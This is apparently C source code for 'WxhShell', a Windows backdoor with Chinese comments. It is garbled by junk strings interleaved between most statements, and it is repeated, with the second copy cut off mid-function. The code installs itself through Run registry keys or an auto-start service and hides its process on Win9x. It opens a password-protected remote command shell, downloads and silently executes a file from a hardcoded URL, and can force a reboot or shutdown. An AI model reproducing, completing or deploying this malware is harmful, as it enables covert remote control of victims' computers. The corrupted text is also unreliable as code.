(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V L&5TZtz NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7rdPA9 O [81nlhS0 if (!NtQueryInformationProcess) return 0; ;Npv 2yAab )ZI9n7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y8fahQ# if(!hProcess) return 0; ji|`S\u#b {m&8Viq1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hR] AUH o=,q4;R' CloseHandle(hProcess); hjgxCSp mOUIGlv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6}RRrYL7I if(hProcess==NULL) return 0; Yp_R+a^ ;AwQpq>dy HMODULE hMod; G}lP'9/ char procName[255]; 2[*r9%W unsigned long cbNeeded; ;8G( l 4G%!t`?q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l/JE}Eg( ^rDT+ x CloseHandle(hProcess); LQnkpy3A '|\et aD if(strstr(procName,"services")) return 1; // 以服务启动 ~4Gs\U:!Q :jFKTG
return 0; // 注册表启动 ~[mAv#d&i } CulU?-[i \I"UW1)B // 主模块 UI*^$7z1 + int StartWxhshell(LPSTR lpCmdLine) mh#dnxeR { r*'X ]q|L+ SOCKET wsl; b83__i BOOL val=TRUE; yvgn}F{} int port=0; 9P3jx)K struct sockaddr_in door; Ua@rp3fr -,;Iob56! if(wscfg.ws_autoins) Install(); Y!kz0([ Qr/8kWa0C port=atoi(lpCmdLine); k+"+s
bsW' 3q>6gaTv if(port<=0) port=wscfg.ws_port; da[u@eNrnX XcS8{ WSADATA data; pX:FXzYQ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m})q8b!S 93Yo}6> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0`KB|=> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %0PdN@I door.sin_family = AF_INET; i4Y_5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); (O
N
\-* door.sin_port = htons(port); >A$J5B>d -}lcMZY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TU&t 1_6 closesocket(wsl); 3 <V{.T return 1; _jw A_ }
P&/PCSf .EC/[fM if(listen(wsl,2) == INVALID_SOCKET) { \8uPHf_ closesocket(wsl); JTw'ecFev return 1; =?`5n|A* } L%8>deE>;D Wxhshell(wsl); !A"`jc~x: WSACleanup(); ZDZPJp, u"K-mr#$[o return 0; 8c m,G [?<"SJ,` } G
.~Psw# uf*sI // 以NT服务方式启动 *'+OA6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rl^_RI { *M_.>".P DWORD status = 0; q/,W'lQ\; DWORD specificError = 0xfffffff; WV5gH*uUa <^&NA<2 serviceStatus.dwServiceType = SERVICE_WIN32; ;T}#-`O_Im serviceStatus.dwCurrentState = SERVICE_START_PENDING; W"fdK_F\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DJeP] serviceStatus.dwWin32ExitCode = 0; J!,5HJh1 serviceStatus.dwServiceSpecificExitCode = 0; rN)T xH&*p serviceStatus.dwCheckPoint = 0; Bv$;yR serviceStatus.dwWaitHint = 0; J{=by]-rD, cO2
.gQo' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hu-fwBK if (hServiceStatusHandle==0) return; @3bQ2jn NYD#I{h status = GetLastError(); dL<okw if (status!=NO_ERROR) Cw]Q)rX{ { {A4"KX(U serviceStatus.dwCurrentState = SERVICE_STOPPED; wobTT1!| serviceStatus.dwCheckPoint = 0; ^;B
vd! serviceStatus.dwWaitHint = 0; b1>%%# serviceStatus.dwWin32ExitCode = status; EI2V<v serviceStatus.dwServiceSpecificExitCode = specificError; F;jl0)fBR= SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3e"_R return; oUEpzv,J } -p`hevRr w}<BO>
z serviceStatus.dwCurrentState = SERVICE_RUNNING; yqqP7 serviceStatus.dwCheckPoint = 0; &C3J6uCm+ serviceStatus.dwWaitHint = 0; 3|RfX if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <tAn2e! } Py6c=&* St/Hv[H'[E // 处理NT服务事件,比如:启动、停止 ]j0v.[SX VOID WINAPI NTServiceHandler(DWORD fdwControl) .l5y!? { ;}3wT,=sN switch(fdwControl) 0X#tt`;
{ $lci{D32, case SERVICE_CONTROL_STOP: =LuH:VM& serviceStatus.dwWin32ExitCode = 0; b&p*IyJR serviceStatus.dwCurrentState = SERVICE_STOPPED; Os9xZ serviceStatus.dwCheckPoint = 0; noa?p&Y1m serviceStatus.dwWaitHint = 0; [#n~ L6 { ]*U\ gm% SetServiceStatus(hServiceStatusHandle, &serviceStatus); It!%/Y5 } L~Epd.,Dt return; |)i-c`x case SERVICE_CONTROL_PAUSE: ?stx3sZ serviceStatus.dwCurrentState = SERVICE_PAUSED; R3wK@D break; |h(!CFR case SERVICE_CONTROL_CONTINUE: ;JA2n\iP, serviceStatus.dwCurrentState = SERVICE_RUNNING; rE[*iq,# break; ]q7\
case SERVICE_CONTROL_INTERROGATE: +60zJ4 break; nX<!n\J T }; nK1XJp SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Z NYR' } S #%'Vrp 3zY"9KUN // 标准应用程序主函数 ho
?.\Jq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cysYjuI i { 15#v|/wI' Jz 'm&mu // 获取操作系统版本 W}+Q!T= OsIsNt=GetOsVer(); d4/snvq GetModuleFileName(NULL,ExeFile,MAX_PATH); "lx}. k
uU,7<o // 从命令行安装 R*/%+ if(strpbrk(lpCmdLine,"iI")) Install(); <_8\}! i0Qg[%{9# // 下载执行文件 CT3wd?)z` if(wscfg.ws_downexe) { V'
"p
a if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :,y V?E6] WinExec(wscfg.ws_filenam,SW_HIDE); m*|3 } 1C^6'9o Qr1%"^4 if(!OsIsNt) { 52/^>=t // 如果时win9x,隐藏进程并且设置为注册表启动 'g^;_=^G HideProc(); kM*f9x StartWxhshell(lpCmdLine); ;"
'`P[ } f8+($Ys else }7+G'=XI/ if(StartFromService()) %A`f>v.7 c // 以服务方式启动 pY!@w0. StartServiceCtrlDispatcher(DispatchTable); ~0>g 4
D. else Xgn^)+V: // 普通方式启动 {6~v oVkj StartWxhshell(lpCmdLine); ;:vbOG#aSN Ti#2D3 return 0; #q9jFW8 } bqFGDmu6' <<6i6b 3%|LMX]M5_ UMpC2)5 =========================================== ;t:B:4r(j R"];`F(# FcdbL,}=< Eh#W*Bg l131^48U -@Mr!!t?N " =S4_^UY; 7]@vPr;: #include <stdio.h> HtgVD~[] #include <string.h> {kD|8["Ie' #include <windows.h> ~4.Tq{ #include <winsock2.h> ]$KyZHj{ #include <winsvc.h> 79n,bb5 #include <urlmon.h> ]BP"$rs uwsGtgd& #pragma comment (lib, "Ws2_32.lib") <oS2a/Nd #pragma comment (lib, "urlmon.lib") `][~0\Y3m \kF}E3~+# #define MAX_USER 100 // 最大客户端连接数 D*|h
c #define BUF_SOCK 200 // sock buffer xqmP/1=NO #define KEY_BUFF 255 // 输入 buffer U`ey7
6{8qATLR #define REBOOT 0 // 重启 fa8vY #define SHUTDOWN 1 // 关机 ZtlF]k:MV cAM1\3HWT" #define DEF_PORT 5000 // 监听端口 w [I%Id;E ) 2wof( #define REG_LEN 16 // 注册表键长度 UtIwrR[ #define SVC_LEN 80 // NT服务名长度 1u:OzyJy 8iB1a6TlL // 从dll定义API :iD([V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y-cRqIM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R;.zS^LL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KRd.Ubs - typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i*:lZ eU61 Wy.2*+5FX0 // wxhshell配置信息 1`Cr1pH struct WSCFG {
UO5^4 int ws_port; // 监听端口 >M<rr!| char ws_passstr[REG_LEN]; // 口令 bU/5ug. int ws_autoins; // 安装标记, 1=yes 0=no 0t*JP char ws_regname[REG_LEN]; // 注册表键名 eh2 w7@7Q char ws_svcname[REG_LEN]; // 服务名 3v
:PBmE char ws_svcdisp[SVC_LEN]; // 服务显示名 oZHsCQ % char ws_svcdesc[SVC_LEN]; // 服务描述信息 H[U$4
%t char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g05:A0X# int ws_downexe; // 下载执行标记, 1=yes 0=no ,
?WTX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" - U!:. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )TnxsFC ?w`uv9NUJ8 }; ~=aD*v<3d '*MNRduE6 // default Wxhshell configuration Aa[p7{e struct WSCFG wscfg={DEF_PORT, MLtfi{;LH "xuhuanlingzhe", 4ZrX=e, 1, "1$OPt5 "Wxhshell", AYeA)jk "Wxhshell", KFCrJ) "WxhShell Service", /B.\ 6 "Wrsky Windows CmdShell Service", ><}FyK4C "Please Input Your Password: ", L(XGD 1, /)ps_gM "http://www.wrsky.com/wxhshell.exe", tPIT+1. ]z "Wxhshell.exe" V%g$LrLVe }; ?wt%e; Uh'3c" // 消息定义模块 \-a^8{.^E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qX^#fk7] char *msg_ws_prompt="\n\r? for help\n\r#>"; *kY\,r&!P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W(Z_ac^e[ char *msg_ws_ext="\n\rExit."; RMUR@o5N char *msg_ws_end="\n\rQuit."; bq/m?; char *msg_ws_boot="\n\rReboot..."; Qu,W3d char *msg_ws_poff="\n\rShutdown..."; 3%{A"^S=} char *msg_ws_down="\n\rSave to "; lyNa(3
Vz6p^kMB char *msg_ws_err="\n\rErr!"; DygMavA. char *msg_ws_ok="\n\rOK!"; #|k;nFJ c?A(C#~
z char ExeFile[MAX_PATH]; De%WT:v int nUser = 0; q4'szDYO2 HANDLE handles[MAX_USER]; VHwb 7f]gq int OsIsNt; @]P#]%^D2 !#j
y=A SERVICE_STATUS serviceStatus; :IlRn`9X` SERVICE_STATUS_HANDLE hServiceStatusHandle; .lAqD- ~XQj0' // 函数声明 z )s{>^D int Install(void); =Ryh@X& int Uninstall(void); <@6K( int DownloadFile(char *sURL, SOCKET wsh); 2eo]D?} int Boot(int flag); 1DVu`<OXcH void HideProc(void); Fka&\9i int GetOsVer(void); by!1L1[JTt int Wxhshell(SOCKET wsl); ,e$]jC<sv2 void TalkWithClient(void *cs); <9z2:^ int CmdShell(SOCKET sock); 4XpW#> int StartFromService(void); R#gt~]x6k int StartWxhshell(LPSTR lpCmdLine); ^kJ(bBY c<- F_+[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tkX7yg>` VOID WINAPI NTServiceHandler( DWORD fdwControl ); kDI(Y=Fg {:BAh5e| // 数据结构和表定义 y|X</3w SERVICE_TABLE_ENTRY DispatchTable[] = ]D_"tQ?i { E0; }e
{wscfg.ws_svcname, NTServiceMain}, reseu*5 {NULL, NULL} ,l/~epx4v) }; -kFEVJbUyc
gP%S{<.? // 自我安装 gZ
vX~ int Install(void) l2H-E&'= { :U;n?Zu
S char svExeFile[MAX_PATH]; iR}3 [ HKEY key; K;kaWV strcpy(svExeFile,ExeFile); Xq:jp+WSG Nfe // 如果是win9x系统,修改注册表设为自启动 _+Tq&,_:o if(!OsIsNt) { ?pSb,kN}' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >K:| +XbH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r:pS[f|4\ RegCloseKey(key); z }?*1c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pT3p!/pl3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LpRl!\FY$ RegCloseKey(key); 1eQfc{[g return 0;
u@QP<[f
} ' cM2]< } X*ZTn
7< } v
C,53g else { Rdb[{Ruxb Cg{V"B: // 如果是NT以上系统,安装为系统服务 )@lZ~01~d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uWm,mGd9 if (schSCManager!=0) ((KNOa5 { f3 _-{<FZ SC_HANDLE schService = CreateService P`z#tDT^" ( \3nu &8d schSCManager, Y]>!uwn wscfg.ws_svcname, %LI[+#QE wscfg.ws_svcdisp, DJ&ni` SERVICE_ALL_ACCESS, +=.>9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yC%zX}5 SERVICE_AUTO_START, >i&"{GZ SERVICE_ERROR_NORMAL, VN3"$@-POK svExeFile, }5_[t9LX NULL, s?-@8.@ NULL, #fB&Hv #s7 NULL, 8&[Lr o9 NULL, B=<>OYH NULL +Cs[]~ ); `O5 Hzb(} if (schService!=0) ^a>3U l{ { n8h1SlK08 CloseServiceHandle(schService); C8^h`B9z&I CloseServiceHandle(schSCManager); &Tc:WD strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l]g
/rs strcat(svExeFile,wscfg.ws_svcname); x}^:Bs+j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vR`#kxSdJ@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nK!yu?mS RegCloseKey(key); dUt$kB return 0; RN,5>.w } ;)nkY6- } &^q!,7.J CloseServiceHandle(schSCManager); c<k=8P } ""~b1kEt } ON,sN )GT*HJR(vc return 1; !O*'mX } g?7I7W~?` ]n \Qa // 自我卸载 tfKf*Um int Uninstall(void) A{Kc"s4fO { 95XQ?% HKEY key; %>];F~z :D|5E>o( if(!OsIsNt) { l+ ,p= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6%-RKQi RegDeleteValue(key,wscfg.ws_regname); xM+_rU
M|h RegCloseKey(key); .8GX8[t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (^{tu89ab RegDeleteValue(key,wscfg.ws_regname); k4C3SI*`4 RegCloseKey(key); bHKTCPf return 0; (yJY/| } 04j]W]8# } '!hA!eo>J } `i2:@?Kl9 else { " jBc5* K]{x0A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O|} p=ny if (schSCManager!=0) = :/4) { >fq]c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /!i`K{ if (schService!=0) 2FVO@D { & FpoMW if(DeleteService(schService)!=0) { cb3Q{.-.# CloseServiceHandle(schService); mG*ER^Y@D CloseServiceHandle(schSCManager); gX%"Ki7. return 0; L-9AJk>V } hNRN`\5Z CloseServiceHandle(schService); 5(\H:g\z } 5r` x\ CloseServiceHandle(schSCManager); sd5)We } M*-]<!))7 } ?onEqH> FX
%(<M return 1; c;B: o } \zT{zO&! !{+a2wi // 从指定url下载文件 9*2Q'z}_ int DownloadFile(char *sURL, SOCKET wsh) K%g_e*"$ { wVmQE HRESULT hr; Qx_]oz]NY char seps[]= "/"; iBt<EM]U/ char *token; u- }@^Y$M char *file; 98rO]rg char myURL[MAX_PATH]; i*)BFV_- char myFILE[MAX_PATH]; 0aqq*e'c ;U&~tpd strcpy(myURL,sURL); E*vh<C token=strtok(myURL,seps); aT~=<rEDy while(token!=NULL) s}<i[hY> { ILIv43QKM( file=token; 0<)Ep~! token=strtok(NULL,seps); XE$;Z'Qhjm } 4d8}g25C (XNd]G GetCurrentDirectory(MAX_PATH,myFILE); iLO,XW?d
v strcat(myFILE, "\\"); O&
1z- strcat(myFILE, file); }1mkX\wWP send(wsh,myFILE,strlen(myFILE),0); lxfv'A send(wsh,"...",3,0); 9hei8L: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yS.)l if(hr==S_OK) }p>l,HD return 0; Fu>;hx]s else w$0*5n>) return 1; MP
p k{
$,FQ4 } 5^Ny6t -HvJ&O.V$ // 系统电源模块 JYnyo$m/ int Boot(int flag) -XfGF<}r { (@NW2 HANDLE hToken; eB9F35[ TOKEN_PRIVILEGES tkp; Flaqgi/j "8
?6;!, if(OsIsNt) { /jSb^1\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >@EwfM4[e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EX@Cf!GjN tkp.PrivilegeCount = 1; rX22%~1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "iJAM`Hi AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P! P` MX if(flag==REBOOT) { @QDUz>_y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b_)SMAsO7 return 0; X([@}ren } v8TNBsEL else { s
>k4G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G+tzp&G@ return 0; _TyQC1 d } Li+|%a } ,=2)1I] else { 9t7 e~&R if(flag==REBOOT) { 4'.]-u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?4t~z 1.f return 0; X{iidTW`xv } _MTvNs else { %;#9lkOXWH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0ke1KKy/d return 0; m/WDJ$d } o3`0x9{ } W+.?J
60 `F~Fb S return 1; D"K!ELGW } =nCV.Wf J?Rp // win9x进程隐藏模块 ]0pI6" void HideProc(void)
LNvkC4 { 1?r$Rx<R =|d5V% mK HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
c70B if ( hKernel != NULL ) FWo`oJeN { !9^GkFR6n pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Koz0Xy ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M+4S >Sjw FreeLibrary(hKernel); XV!UeBq } Q8DKU eh*F/Gu return; l4OPzNc' } wDs#1`uTq =OR&,xt // 获取操作系统版本 n4zns,:)/ int GetOsVer(void) & aF'IJC { &HJ~\6r\ OSVERSIONINFO winfo; +7K]5p;!~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YC}$O2 GetVersionEx(&winfo); tI2p-d9B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U7G|4( return 1; b*a}~1 else )sapUnqrlR return 0; 16I(S } F#{PJ# -A Nq!$E // 客户端句柄模块 Iq47^ int Wxhshell(SOCKET wsl) tQ4{:WPG { I3?:KVa SOCKET wsh; =`%%* struct sockaddr_in client; dGc>EZSdj DWORD myID; \y/+H g/,O51f' while(nUser<MAX_USER) c>Ljv('bj { fGLOXbsA int nSize=sizeof(client); 5{6ebq55" wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4>@-1nt} if(wsh==INVALID_SOCKET) return 1; o6;VrpaNi JGk,u6K7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o=(>#iVM if(handles[nUser]==0) 9$'Edi=6 closesocket(wsh); AwL;-|X else FkT% -I nUser++; 0b}lwo,|\ } ?)5M3lV3k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >:P3j<xTv ,K[B/tD{j return 0; c[0$8F> } 3'2}F%!Mv x]U (EX`t$ // 关闭 socket
( ]o6Pi void CloseIt(SOCKET wsh) 'lNl><e- { ByZ.!~ closesocket(wsh); PZl(S}VY nUser--; Dy^4^ J5+ ExitThread(0); G8?<(.pi@ } 9~mi[l~ w02HSQ // 客户端请求句柄 QX~*aqS3s8 void TalkWithClient(void *cs) i]LK,' { P-`^I`r :<IW' SOCKET wsh=(SOCKET)cs; V2]S{!p}k char pwd[SVC_LEN]; 7\U1K^q char cmd[KEY_BUFF]; ^NLKX5Q char chr[1]; hOMFDfhU int i,j; Bv@m)$9\+3 JT^E`<nn while (nUser < MAX_USER) { |:r/K n7q-)Dv_U if(wscfg.ws_passstr) { nZ7v9o9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TzL40="F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _zmx //ZeroMemory(pwd,KEY_BUFF); JkxS1 i=0; {Rj' =%h while(i<SVC_LEN) { 3Ob"r` mQs'2Y6Oa // 设置超时 nLfnikw& fd_set FdRead; g&E_|}u4 struct timeval TimeOut; /?XfVhA:A FD_ZERO(&FdRead); rw\4KI@ L FD_SET(wsh,&FdRead); A^p $~e\) TimeOut.tv_sec=8; Gj_b GqF8} TimeOut.tv_usec=0; VD#^Xy4% r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]VYl Eqe if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t+(CAP|, S~Hj.
d4/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E0DEFB pwd=chr[0]; uATBt if(chr[0]==0xd || chr[0]==0xa) { YYvs~?bAy pwd=0; \%Smp2K break; BVNh>^W5B } v/haUPWF\ i++; YWZF*,4 } jw[`_ aBC[(}Pb] // 如果是非法用户,关闭 socket T?ZMmUE if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5,((JxX$ } d?P
aZz{4 zLn#p] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1<p"z,c send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M#>GU<4" O9y Q9sl while(1) { ^,5.vfES %%>?<4t ZeroMemory(cmd,KEY_BUFF); m #eD v* t;1NzI$^ // 自动支持客户端 telnet标准 ~Iu09t|a j=0; ]x G4T>S while(j<KEY_BUFF) { o%5bg( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p{J_d,JH cmd[j]=chr[0]; ~z}au"k if(chr[0]==0xa || chr[0]==0xd) { aS7zG2R4H cmd[j]=0; `+o.w#cl break; >8tuLd*T } O?WaMfS[1 j++; dW`D?$(@, } 1W
g8jr's !%X`c94 // 下载文件 Td
>k \< if(strstr(cmd,"http://")) { D=>^m=?0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); F%d"gF0qu if(DownloadFile(cmd,wsh))
c$|dK send(wsh,msg_ws_err,strlen(msg_ws_err),0); !q/lgpEi else dL`
+^E> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q2NnpsA^6 } `RcNqPY#S else { ks;w c"k" DV\ei") switch(cmd[0]) { '5U$`Xe1 0?xiG SZV // 帮助 Ol9fwd case '?': { 0AKwZ'
&H send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *"\Q ~#W break; =>
=x0gsgj } zYdtQjv // 安装 ..!-)q'? case 'i': { J\'5CG if(Install())
7yTe]O send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~N^vE; else 1>VS/H` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); it@} dZ break; ;
,<J:%s } ';,Bn9rv // 卸载 \]A;EwC4C case 'r': { !(K{*7|h if(Uninstall()) tC:,!4 P$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); '5/}MMT else XFTMT'9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D(6x'</>? break; }@%ahRGx%9 } :V~*vLvR // 显示 wxhshell 所在路径 @:9fS case 'p': { $3.vVnc char svExeFile[MAX_PATH]; o`mIi strcpy(svExeFile,"\n\r"); l\;mP.! strcat(svExeFile,ExeFile); F ssEs!# send(wsh,svExeFile,strlen(svExeFile),0); NJf(,Mr*| break; [Cqqjv;_ } |cGeL[ // 重启 4)+IO; case 'b': { BDkBYhz;7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hdtnC29$ if(Boot(REBOOT)) ;c-
]bhBB send(wsh,msg_ws_err,strlen(msg_ws_err),0); .q`H`(QM else { xY'qm8V closesocket(wsh); -^4bA<dCCE ExitThread(0); +1Rrkok } ~]W[ {3 ; break; ZoON5P> } mzE$aFu8 // 关机 ,r 2VP\hLh case 'd': { 3zTE4pHzu+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EKeh>3;? if(Boot(SHUTDOWN)) ,0uo&/Y4L send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4:Xj-l^D else { Wx?&igh closesocket(wsh); Rw}2* 5#y ExitThread(0); 9;]wF8h } Wda\a.bXT break; vDW&pF_eI> } 4Wla&yy // 获取shell |5~wwL@LW7 case 's': { Ue3B+k9w CmdShell(wsh); A?Nn>xF9X closesocket(wsh); ";_K x={ ExitThread(0); i6F:C
&. break; #5-A& } N$%61GiulT // 退出 Y$x"4=~ case 'x': { }*.:Hv" send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4aN+}TkH@G CloseIt(wsh); +#*&XX5A#? break; ~)wwX:;B_ } hg&w=l // 离开 ?..i 4 case 'q': { AJ\VY;m7F send(wsh,msg_ws_end,strlen(msg_ws_end),0); EvqUNnjR closesocket(wsh); Eg`R|CF WSACleanup(); L{2b0Zh' exit(1); |I}A>XG break; K}PvrcO1 } ]{|fYt_- } n9kd2[s| } [_
M6/ Z[#I"-Q~: // 提示信息 '!wPnYT@D if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZI58XS+ } zP:~O } #)_J)/h (|g").L return; ezcS[r } ?eL='>Ne #Rin*HL## // shell模块句柄 S9G8aea/ int CmdShell(SOCKET sock) 0 W~.WkD { =MTj4VXh" STARTUPINFO si; w~<FG4@LU ZeroMemory(&si,sizeof(si)); ;JOD!| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6sYV7w,'@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3D
9N:c PROCESS_INFORMATION ProcessInfo; <\, &:< char cmdline[]="cmd"; \R8 6;9ov CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M[h1>}$Lz return 0; <K.Bq] } kU#:I9PO 99F>n[5 // 自身启动模式 [#7y[<.P int StartFromService(void) T(Y}V[0+ { ')C|`(hs typedef struct 13ipaz { C0\%QXu DWORD ExitStatus; + jp|Y?6Z DWORD PebBaseAddress; %S{o5txo DWORD AffinityMask; 3%XG@OgP DWORD BasePriority; .r ~'(g{qt ULONG UniqueProcessId;
LsQ s:O ULONG InheritedFromUniqueProcessId; B^Xy0fq } PROCESS_BASIC_INFORMATION; C0zrXhY_v ;xSRwSNDi( PROCNTQSIP NtQueryInformationProcess; 65lOX$*{- "YuZ fL`bb static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &c20x+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PPN q:, kfVZ=`p} HANDLE hProcess; (F_w>w.h PROCESS_BASIC_INFORMATION pbi; a|UqeNI{ 3nwz<P HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9#u }^t if(NULL == hInst ) return 0; u/} xE7G ,MRvuw0P g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jUYF.K& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DX|uHbGg NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l#Yx
TY w-lrnjs if (!NtQueryInformationProcess) return 0; _]P
a>8X* b<\$d4Qy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bk+{} if(!hProcess) return 0; 6mwvI4) U%L
-NMe if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 658\#x8| TNx _Rc} CloseHandle(hProcess); fc3 Fi'^ ~fBex_.o* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); INOH{`}Ew if(hProcess==NULL) return 0; Q2q|*EL 6zuze0ud HMODULE hMod; ^dh=M5xz) char procName[255]; RXM}hqeG unsigned long cbNeeded; =m~ruZ/ M=W
